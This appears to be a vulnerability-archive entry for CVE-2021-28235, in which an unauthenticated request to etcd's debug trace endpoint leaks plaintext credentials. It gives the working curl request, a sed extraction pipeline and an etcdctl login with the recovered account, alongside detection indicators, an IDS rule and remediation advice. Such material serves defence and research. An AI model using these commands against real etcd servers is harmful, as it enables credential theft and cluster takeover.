etcd Debug Trace Credential Leak / Improper Authentication (CVE-2021-28235)
Published: 2026-11-27 • Researcher: GitHub user h3ck13r (repository owner); commit author s0m3body. The CVE itself was assigned from external reporter/patch work that the public record does not name; the fix is by the etcd maintainers and the Ubuntu security team.
- Severity
- Critical
- CVE
- CVE-2021-28235
- Category
- network
- Affected product
- etcd (etcd-io), including the debug HTTP handlers served alongside the client API on port 2379; relevant to Kubernetes clusters whose control plane data lives in etcd
- Affected versions
- Confirmed on 3.4.10; the flaw exists in releases before 3.5.8 and was backported to 3.4 and 3.5 by distributions (Ubuntu USN-6189-1 patches 3.4.x/3.5.x)
- Disclosed
- 2026-11-27
- Patch status
- Patched
Tags
References
Archive entry
intelseclab/poc-archiveOn this page
Metadata
| Field | Value |
|---|---|
| Date Added | 2026-11-27 |
| Last Updated | 2026-07-18 (upstream commit 6a9b992, “fix: small changes to a script”) |
| Author / Researcher | GitHub user h3ck13r (repository owner); commit author s0m3body. The CVE itself was assigned from external reporter/patch work that the public record does not name; the fix is by the etcd maintainers and the Ubuntu security team. |
| CVE / Advisory | CVE-2021-28235 |
| Category | network |
| Severity | Critical |
| CVSS Score | 9.8 (CVSSv3.1, NVD; vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H); EPSS 0.016 |
| Status | Weaponized (lab script runs the whole chain and prints recovered credentials; the follow-on authenticated access uses those credentials) |
| Tags | etcd, Kubernetes, authentication bypass, credential disclosure, debug endpoint, gRPC tracing, pprof, CWE-287, unauthenticated |
| Related | N/A |
Affected Target
| Field | Value |
|---|---|
| Software / System | etcd (etcd-io), including the debug HTTP handlers served alongside the client API on port 2379; relevant to Kubernetes clusters whose control plane data lives in etcd |
| Versions Affected | Confirmed on 3.4.10; the flaw exists in releases before 3.5.8 and was backported to 3.4 and 3.5 by distributions (Ubuntu USN-6189-1 patches 3.4.x/3.5.x) |
| Language / Platform | Target is Go on Linux (container in the lab); the PoC is a bash script driven by curl and docker |
| Authentication Required | No — the debug handler answers unauthenticated requests even when etcd authentication is enabled |
| Network Access Required | Yes — TCP/2379 reachability to the client URL |
Summary
etcd serves the Go net/trace debug handlers on the same listener as its client API, and those handlers answer paths such as /debug/requests without passing through the authentication layer. When etcd debugging and gRPC request tracing are enabled, the recorded traces include the Auth RPC, and that RPC carries the client’s username and password in clear text inside the request message. An unauthenticated attacker who can reach port 2379 can therefore read the traces, recover the credentials of any user who has authenticated since the process started, and log in with them normally. Because administrative traffic is traced too, the recovered account can hold the root role, which turns a read of a debug page into full control of the datastore and, in a Kubernetes deployment, of the cluster that depends on it.
Vulnerability Details
Root Cause
CWE-287, improper authentication, with a credential-disclosure component. etcd’s client listener exposes the debug handlers from the Go net/trace and pprof packages, including /debug/requests, /debug/events and /debug/pprof. Those handlers were not covered by the authentication interceptor that guards the gRPC API, so they are reachable without credentials regardless of whether etcd auth is enabled. Separately, when debug logging and gRPC tracing are active, the trace family grpc.Recv.Auth records inbound Auth requests, and the AuthRequest proto carries the plaintext password. Rendering the trace therefore prints the credential pair that the client sent. The fix blanks the password before the request is traced or logged (etcd pull request 15648, “security: clear password after authenticating the user”), released in 3.5.8 and backported to the 3.4 and 3.5 packages by distributions. Note that the debug handlers themselves remain reachable by design; the patch removes the secret from the trace output rather than locking down /debug.
Attack Vector
A single unauthenticated HTTP GET to the client port:
GET /debug/requests?fam=grpc.Recv.Auth&b=1&exp=1 HTTP/1.1
Host: target:2379The fam parameter selects the gRPC Auth receive family, b selects the recent-buffer view and exp expands the recorded events so the message contents are shown rather than just timestamps. The response is HTML in which each traced RPC appears as a structure containing name:"<user>" password:"<password>". No authentication header, client certificate or token is needed.
Impact
Disclosure of etcd credentials for every user that has authenticated while tracing was active, including accounts holding the root role. With those credentials an attacker reads and writes every key in the store, creates or deletes users and roles, disables authentication, and takes snapshots. In a Kubernetes environment etcd holds the entire cluster state including Secrets, so the practical impact is cluster takeover, persistent control over workloads, and theft of service-account tokens and other credentials stored there. Because the leak is passive, the victim’s credentials keep working and nothing is modified, which makes detection depend on spotting the debug request rather than on data tampering.
Environment / Lab Setup
OS: Linux host with Docker
Target: etcd v3.4.10 in Docker (gcr.io/etcd-development/etcd:v3.4.10),
client API on 0.0.0.0:2379, auth enabled, debug tracing on
Attacker: Same host; the unauthenticated request needs no credentials
Tools: bash, docker, curl, sed (all used by the script)Setup Steps
| |
The two credential pairs the script uses (root:root and admin:admin_pass) are lab values that it creates itself; no real credentials are involved.
Proof of Concept
Step-by-Step Reproduction
Run the script — it starts etcd 3.4.10, creates the root user and role, enables auth, adds a second admin user with the root role, then makes the unauthenticated request.
Shell script1 2chmod +x poc.sh ./poc.shRead the unauthenticated debug trace — this is the entire exploit, sent without any credentials:
Shell script1curl --silent 'http://127.0.0.1:2379/debug/requests?fam=grpc.Recv.Auth&b=1&exp=1'Extract the pairs — the script decodes the HTML entities, strips blank space and parses the logged Auth messages:
Shell script1 2 3 4curl --silent 'http://127.0.0.1:2379/debug/requests?fam=grpc.Recv.Auth&b=1&exp=1' \ | grep password \ | sed 's|"|"|g' | tr -d '[:blank:]' \ | sed -nE 's|.+name:"([^"]+)".+password:"([^"]+)".+|\1 \2|p'Use the recovered credentials — authenticate as the leaked privileged account:
Shell script1 2docker exec etcd-gcr-v3.4.10 /usr/local/bin/etcdctl member list \ --user=admin --password=admin_pass
Exploit Code
See
poc.shin this folder for the complete lab script.
| |
The script also enables the tracing that makes the leak observable (--log-level=debug --debug) and cleans up the container and local data directory when it finishes.
Expected Output
[*] CVE-2021-28235 PoC
[*] Spinning up a etcd-gcr-v3.4.10 docker container
[*] Populating etcd with data
[*] Adding root user and role
[*] Put data and enable etcd auth
[*] Checking etcd API
{"etcdserver":"3.4.10","etcdcluster":"3.4.0"}
{"health":"true"}
[+] Credentials leaked!
[+] Collecting creds...
USERNAME PASSWORD
[+] Dumped credentials pair!
root root
[+] Dumped credentials pair!
admin admin_passThe order of the two pairs is not deterministic because the script stores them in a bash associative array. A hardened or patched target prints [-] No credentials leaked instead.
Detection & Indicators of Compromise
GET /debug/requests (especially with fam=grpc.Recv.Auth and exp=1)
GET /debug/events
GET /debug/pprof/* or /debug/pprof/cmdline
Any 200 response on /debug on a port that should only serve etcd gRPC or a kube-apiserver
Client address on 2379 that never appears in normal control-plane inventory
Debug handler requests from a namespace that is not the observability stack
etcd audit events (3.5+) showing Auth or user-admin RPCs from a new client address
kube-apiserver connection loss, or etcd restarts without a change record
New etcd users, roles or role grants; auth disabled and re-enabled
Large ranges read with the leaked account; snapshot or defrag requests
Kubernetes Secrets accessed in bulk by a previously unseen identitySIEM / IDS Rule (example):
alert http any any -> any 2379 (msg:"CVE-2021-28235 etcd debug trace credential leak attempt"; flow:to_server,established; content:"/debug/requests"; http_uri; content:"Recv.Auth"; http_uri; classtype:attempted-recon; sid:9028235; rev:1;)Remediation
| Action | Detail |
|---|---|
| Patch | Upgrade to etcd 3.5.8 or later, or to a distribution build that carries the password-blanking backport (for example Ubuntu USN-6189-1 for 3.4.x/3.5.x). |
| Workaround | Terminate etcd’s client port behind a proxy or network policy that rejects /debug paths, or restrict 2379 to the control-plane hosts that need it. Do not expose the client URL to user or corporate networks. |
| Config Hardening | Do not run production etcd with –debug, and keep debug logging off outside short troubleshooting windows. Enable TLS with client certificates so a leaked password is not the only factor, use a non-root administrative account for automation, rotate etcd credentials and client certificates after any suspected trace exposure, and audit etcd users and role grants afterwards. |
References
- CVE-2021-28235 — NVD
- etcd pull request 15648 — security: clear password after authenticating the user
- Ubuntu USN-6189-1 — etcd vulnerability
- Ubuntu etcd 3.4.23-4ubuntu1 changelog (CVE-2021-28235.patch: blanks out password)
- GHSA-GMPH-WF7J-9GCM — etcd improper authentication
- Source repository — h3ck13r/CVE-2021-28235
Notes
Auto-prepared on 2026-11-27 from https://github.com/h3ck13r/CVE-2021-28235 (0 stars, a single bash script with no upstream README).
Review verdict: ingested. The script is a real end-to-end demonstration rather than a scanner or a version check: it builds a vulnerable etcd 3.4.10 with authentication enabled, then retrieves the root and admin credential pairs from an unauthenticated debug endpoint and prints them, which matches the CVE description (privilege escalation via the debug function) and the Ubuntu advisory wording (etcd leaked credentials when debugging was enabled). It is single-target, hardcoded to 127.0.0.1, and contains no C2, persistence, evasion, credential-harvesting-at-scale or mining logic; the credential it prints is one it created in its own disposable container. No upstream README exists, so no upstream-README.md is archived; only the script is copied.
License: the repository has no LICENSE file, so copyright remains with the author and no reuse rights are granted. The archived script keeps the original code and adds only a two-line research-use header.
Limitations: the leak depends on debug tracing being active, and the script enables it with –log-level=debug and –debug; a target running normally may not record the Auth family at all, so the CVE is only exploitable on misconfigured or troubleshooting-mode instances. The script needs Docker, pulls gcr.io/etcd-development/etcd:v3.4.10, uses hardcoded lab credentials, only queries 127.0.0.1 so it must run on or beside the target, and its cleanup deletes the container and the local data directory. It proves the credential disclosure but leaves the authenticated escalation to the operator (an etcdctl call with the recovered account); it does not itself demonstrate the root-role actions. The public record for this CVE is thin and there is no upstream etcd security advisory for it, so the exact range and the maintainers’ position should be confirmed against the etcd release notes for 3.5.8 rather than inferred from the NVD entry alone. No exploit was executed during preparation of this entry; the Expected Output is the script’s own documented flow.
| |